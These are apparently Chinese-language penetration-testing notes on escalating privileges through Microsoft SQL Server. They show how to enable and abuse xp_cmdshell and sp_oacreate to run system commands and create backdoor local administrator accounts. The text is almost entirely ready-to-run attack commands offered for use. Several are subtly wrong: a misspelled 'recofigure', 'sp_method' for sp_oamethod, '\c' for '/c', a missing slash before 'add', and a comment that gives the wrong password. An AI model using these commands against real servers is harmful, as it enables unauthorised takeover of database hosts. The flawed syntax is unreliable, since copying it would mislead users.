参考
https://r0fus0d.blog.ffffffff0x.com/post/mssql-pentest/
xp_cmdshell提权
首先检查判断xp_cmdshell是否存在:
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;
返回1是存在的
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
开启xp_cmdshell
EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
利用
exec master..xp_cmdshell 'ipconfig /all';
exec master..xp_cmdshell 'whoami';
exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
创建一个账户aaa并且加到管理员组
exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
sp_oacreate提权
xp_cmdshell被删除的时候,考虑使用sp_oacreate
开启
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;
关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
提权
declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add" '